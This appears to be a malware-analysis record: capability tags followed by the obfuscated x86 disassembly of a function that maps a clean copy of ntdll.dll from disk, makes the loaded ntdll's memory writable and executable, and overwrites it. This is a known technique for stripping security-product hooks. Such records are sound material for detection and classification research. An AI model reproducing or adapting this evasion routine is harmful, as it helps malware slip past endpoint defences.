Function at 0x401ca0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [0x4b22c0]
mov esi, 0x417eb5d6
xor eax, ebp
mov dword [ebp - 0x10], eax
jmp 0x401d00
mov eax, dword [0x4b4420]
mov esi, 0x5d739c96
mov edi, 0xb64ba1e6
mov edx, 0x5d739c96
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmove esi, edi
cmp dword [0x4b441c], 0xa
setl cl
cmovge esi, edx
xor cl, al
cmovne esi, edi
nop word cs:[eax + eax]
cmp esi, 0xff069d59
jg 0x401d80
cmp esi, 0xbe21cdb6
jg 0x401df0
cmp esi, 0xa14c18ea
jle 0x401ea7
cmp esi, 0xb4d2741a
jle 0x401ff7
cmp esi, 0xb4d2741b
je 0x4021f8
cmp esi, 0xb64ba1e6
je 0x40222a
cmp esi, 0xbbd25f0b
jne 0x401d00
mov eax, dword [ebp - 0x28]
mov edi, 0xf891c04f
movzx eax, word [eax]
mov ecx, dword [ebp - 0x28]
inc eax
mov word [ecx], ax
mov edx, dword [0x4b4420]
mov eax, dword [0x4b441c]
lea ecx, [edx + 1]
jmp 0x4024a2
cmp esi, 0x417eb5d5
jle 0x401e60
cmp esi, 0x5fa61009
jle 0x401ed5
cmp esi, 0x721ca35d
jle 0x402037
cmp esi, 0x721ca35e
je 0x40233a
cmp esi, 0x768a39d4
je 0x402388
cmp esi, 0x7f652dcb
jne 0x401d00
mov eax, dword [ebp - 0x28]
mov esi, 0xf3040025
movzx eax, word [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
add eax, 6
mov dword [ebp - 0x54], eax
jmp 0x401d00
cmp esi, 0xf7cfbea5
jg 0x401f03
cmp esi, 0xecef4e68
jle 0x402059
cmp esi, 0xf0cbf69a
je 0x4023c9
cmp esi, 0xf3040025
jne 0x4025c5
mov edx, dword [0x4b4420]
mov eax, dword [0x4b441c]
mov edi, 0x721ca35e
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9a4e3fae
jmp 0x4024bd
cmp esi, 0x2552cc89
jg 0x401f31
cmp esi, 0x241f164f
jg 0x40207b
cmp esi, 0xff069d5a
je 0x40245c
cmp esi, 0x186e6683
jne 0x401d00
mov eax, dword [ebp - 0x28]
mov esi, 0xbbd25f0b
movzx eax, word [eax]
mov ecx, dword [ebp - 0x28]
inc eax
mov word [ecx], ax
jmp 0x401d00
cmp esi, 0x9a4e3fad
jg 0x40209d
cmp esi, 0x828922fd
je 0x402466
cmp esi, 0x98dd62a7
jne 0x401d00
mov esi, 0xa8c88d52
jmp 0x401d00
cmp esi, 0x4a791383
jg 0x4020c6
cmp esi, 0x417eb5d6
je 0x401cba
cmp esi, 0x496f9644
jne 0x401d00
mov esi, 0x98dd62a7
jmp 0x401d00
cmp esi, 0xfc868869
jg 0x40219e
cmp esi, 0xf7cfbea6
je 0x402473
cmp esi, 0xf891c04f
jne 0x401d00
mov esi, 0xff069d5a
jmp 0x401d00
cmp esi, 0x3a28c415
jg 0x4021c0
cmp esi, 0x2552cc8a
je 0x40248f
cmp esi, 0x2b370f2a
jne 0x401d00
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add ecx, edi
push dword [ebp - 0x24]
push 0x40
push dword [eax + 8]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
mov eax, dword [ebp - 0x2c]
setne byte [eax]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add eax, edi
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.004404f0
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
add edx, edi
push dword [ebp - 0x24]
push dword [eax]
push dword [ecx + 8]
push edx
call esi
test eax, eax
mov eax, dword [ebp - 0x2c]
mov esi, 0xf0cbf69a
mov edi, 0xd8fa51ed
mov edx, 0xf0cbf69a
setne byte [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [0x4b4420]
jmp 0x401cce
cmp esi, 0xa14c18eb
je 0x4024d3
cmp esi, 0xa8c88d52
jne 0x401d00
push dword [ebp - 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x40]
call esi
push dword [ebp - 0x3c]
call esi
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, 0xecef4e69
jmp 0x401d00
cmp esi, 0x5fa6100a
je 0x40250d
cmp esi, 0x67555f98
jne 0x401d00
mov esi, 0x3d4e18ea
jmp 0x401d00
cmp esi, 0xbe21cdb7
je 0x402540
cmp esi, 0xd8fa51ed
jne 0x401d00
mov esi, 0xbe21cdb7
jmp 0x401d00
cmp esi, 0x241f1650
je 0x40254d
cmp esi, 0x2552615f
jne 0x401d00
mov esi, 0x3a28c416
jmp 0x401d00
cmp esi, 0x9a4e3fae
je 0x40255a
cmp esi, 0xa0d3ac33
jne 0x401d00
movzx eax, word [ebp - 0x30]
mov eax, dword [ebp - 0x50]
mov esi, 0x5fa6100a
jmp 0x401d00
cmp esi, 0x4a791384
je 0x402567
cmp esi, 0x5d739c96
jne 0x401d00
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
push 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x44], ecx
push ecx
mov dword [ebp - 0x48], esi
push esi
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
sub esp, 0x1c
vmovaps xmm0, xmmword [0x45c210]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
vmovaps xmm0, xmmword [0x45c220]
mov dword [ebp - 0x40], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
vmovaps xmm0, xmmword [0x45c230]
mov dword [ebp - 0x3c], eax
mov dword [esp], eax
mov esi, 0xb64ba1e6
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x38], eax
jmp 0x401d00
cmp esi, 0xfc86886a
je 0x40257d
cmp esi, 0xfefffbf4
jne 0x401d00
mov esi, 0xa14c18eb
jmp 0x401d00
cmp esi, 0x3a28c416
je 0x402587
cmp esi, 0x3d4e18ea
jne 0x401d00
mov ecx, dword [ebp - 0x34]
mov esi, 0x7f652dcb
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov word [eax], 0
jmp 0x401d00
mov edx, dword [0x4b4420]
mov eax, dword [0x4b441c]
mov edi, 0x2b370f2a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf0cbf69a
jmp 0x402325
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
push 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x44], ecx
push ecx
mov dword [ebp - 0x48], esi
push esi
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
sub esp, 0x1c
vmovaps xmm0, xmmword [0x45c210]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
vmovaps xmm0, xmmword [0x45c220]
mov dword [ebp - 0x40], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
vmovaps xmm0, xmmword [0x45c230]
mov dword [ebp - 0x3c], eax
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, dword [0x4b4420]
mov dword [ebp - 0x38], eax
mov eax, dword [0x4b441c]
mov edi, 0x67555f98
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5d739c96
cmovne ebx, edi
test edx, ecx
mov esi, ebx
cmove esi, edi
cmp eax, 0xa
cmovge esi, ebx
jmp 0x401d00
mov edx, dword [0x4b4420]
mov eax, dword [0x4b441c]
mov edi, 0x2552615f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9a4e3fae
cmovne edx, edi
cmp ecx, 0xffffffff
mov esi, edx
cmove esi, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x54]
cmovge esi, edx
movzx eax, word [eax]
mov word [ebp - 0x30], ax
jmp 0x401d00
mov edx, dword [ebp - 0x4c]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x28]
movzx ecx, word [ecx]
add eax, edx
mov edx, dword [ebp - 0x20]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x20]
push 0x45c288
push dword [eax]
call fcn.00443f00
add esp, 8
test eax, eax
mov esi, 0xbe21cdb7
mov ecx, 0x241f1650
cmove esi, ecx
jmp 0x401d00
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add ecx, edi
push dword [ebp - 0x24]
push 0x40
push dword [eax + 8]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
mov eax, dword [ebp - 0x2c]
setne byte [eax]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add eax, edi
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.004404f0
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
add edx, edi
push dword [ebp - 0x24]
push dword [eax]
push dword [ecx + 8]
push edx
call esi
test eax, eax
mov eax, dword [ebp - 0x2c]
mov esi, 0x2b370f2a
setne byte [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
jmp 0x401d00
mov esi, 0x7f652dcb
jmp 0x401d00
mov eax, dword [ebp - 0x20]
mov esi, 0x768a39d4
jmp 0x401d00
mov eax, dword [ebp - 0x28]
mov eax, dword [0x4b4420]
mov esi, 0xfefffbf4
mov edi, 0xa14c18eb
mov edx, 0xfefffbf4
jmp 0x401cce
mov edx, dword [0x4b4420]
mov eax, dword [0x4b441c]
mov edi, 0xbbd25f0b
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x186e6683
cmovne edx, edi
cmp ecx, 0xffffffff
mov esi, edx
cmove esi, edi
cmp eax, 0xa
cmovge esi, edx
jmp 0x401d00
mov eax, dword [0x4b4420]
mov esi, 0xfefffbf4
mov edx, 0x496f9644
mov ebx, 0xfefffbf4
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmove esi, edx
cmp dword [0x4b441c], 0xa
setl cl
cmovge esi, ebx
jmp 0x4025bb
movzx eax, word [ebp - 0x30]
mov ecx, dword [ebp - 0x50]
mov esi, 0xa0d3ac33
mov edi, 0x4a791384
mov edx, 0xa0d3ac33
cmp ecx, eax
mov eax, dword [0x4b4420]
setl byte [ebp - 0x2d]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
jmp 0x401cdc
mov eax, dword [ebp - 0x20]
mov esi, 0xfc86886a
jmp 0x401d00
mov eax, dword [ebp - 0x24]
mov esi, 0xb4d2741b
jmp 0x401d00
mov eax, dword [ebp - 0x54]
mov esi, 0x721ca35e
jmp 0x401d00
cmp byte [ebp - 0x2d], 0
mov esi, 0xf7cfbea6
mov eax, 0x828922fd
cmovne esi, eax
jmp 0x401d00
mov esi, 0x2552cc8a
jmp 0x401d00
mov eax, dword [0x4b4420]
mov esi, 0xa0d3ac33
mov edx, 0x5fa6100a
mov edi, 0xa0d3ac33
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmove esi, edx
cmp dword [0x4b441c], 0xa
setl cl
cmovge esi, edi
xor cl, al
cmovne esi, edx
jmp 0x401d00
cmp esi, 0xecef4e69
jne 0x401d00
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043d670
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret